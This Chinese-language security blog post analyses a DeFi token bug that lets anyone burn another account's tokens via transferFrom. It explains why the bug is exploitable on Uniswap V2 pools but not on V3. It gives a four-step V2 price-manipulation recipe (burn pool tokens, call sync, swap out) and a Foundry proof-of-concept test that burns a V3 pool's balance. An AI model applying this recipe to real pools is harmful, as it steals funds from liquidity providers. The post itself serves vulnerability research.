【技术分析】UniV3 Pool 对 burnable 漏洞代币的防护机制

代币漏洞

攻击者可以通过 transferFrom 函数 burn 任意账户的 Vul 代币。
image

因为本问涉及的漏洞可导致用户资产损失,所以不提供代币和 Pool 的地址,代币名称用 Vul 代币代替。

利用方式

在 V2 Pool 场景下,针对 burnable 漏洞的利用方式

  1. 购买少量 Vul 代币
  2. burn 掉大量 V2 Pool 中的 Vul 代币
  3. 调用 Pool.sync() 函数更新 reserve 变量,对价格进行操控
  4. 用步骤 1 中的 Vul 代币,以步骤 3 中的价格,换出大量的 WETH 代币完成获利

但是以上的操作在 V3 中是不可行的,因为 V3 版本只根据 mint 操作中更新的 Position 来计算价格,且不提供 sync 类型的函数来根据 balance 来更新当前的价格。

V3 不提供 syncskim 等直接操作 Pool balance 的函数,且 V3 的 mintburnswapflash 等操作也不会根据 Pool balance 来更新价格。

所以即使把 V3 Pool 中的 token0 通过漏洞 burn 掉,依然不会影响到 swap 时候的价格,只会导致无法换出 token0。也就是说 burnable 漏洞无法在 V3 Pool 上被用来获利。

PoC 验证

通过 foundry 来进行验证,查看 burn 漏洞对 V3 Pool 价格的影响

function test_HackVul() public {
    IUniswapV3Pool pool = IUniswapV3Pool(...);
    ISwapRouter router = ISwapRouter(...);
    IERC20(WETH).approve(address(router), type(uint256).max);
    IERC20(Vul).approve(address(router), type(uint256).max);
    IERC20 vulnToken = IERC20(pool.token0());

    uint160 sqrtPriceX96;

    // Initial Price
    (sqrtPriceX96,,,,,,) = pool.slot0();
    console.log("sqrtPriceX96(Initial Price):", sqrtPriceX96);

    // Swap WETH -> Vul
    ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
        tokenIn: WETH,
        tokenOut: Vul,
        fee: 100, 
        recipient: address(this),
        deadline: block.timestamp,
        amountIn: 1e18,
        amountOutMinimum: 0,
        sqrtPriceLimitX96: 0
    });
    router.exactInputSingle(params);

    // Price before burn
    (sqrtPriceX96,,,,,,) = pool.slot0();
    console.log("sqrtPriceX96(Price before burn):", sqrtPriceX96);

    // Burn Vul from pool
    vulnToken.transferFrom(address(pool), address(0), IERC20(vulnToken).balanceOf(address(pool)));

    // Price after burn
    (sqrtPriceX96,,,,,,) = pool.slot0();
    console.log("sqrtPriceX96(Price after burn):", sqrtPriceX96);

    // Swap Vul -> WETH
    ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter.ExactInputSingleParams({
        tokenIn: Vul,
        tokenOut: WETH,
        fee: 100, 
        recipient: address(this),
        deadline: block.timestamp,
        amountIn: vulnToken.balanceOf(address(this)),
        amountOutMinimum: 0,
        sqrtPriceLimitX96: 0
    });
    router.exactInputSingle(params2);

    // The price was not affected by the vulnerability
    (sqrtPriceX96,,,,,,) = pool.slot0();
    console.log("sqrtPriceX96(The price was not affected):", sqrtPriceX96);
}

结果显示 burn 掉 V3 Pool 中的代币并不会影响价格

[PASS] test_HackVul() (gas: 483668)
Logs:
  sqrtPriceX96(Initial Price): 9636092331332244639264478
  sqrtPriceX96(Price before burn): 12558296738001735018391306
  sqrtPriceX96(Price after burn): 12558296738001735018391306
  sqrtPriceX96(The price was not affected): 9636316559882523596720639
posted @ 2024-11-23 21:15  ACai_sec  阅读(18)  评论(0编辑  收藏  举报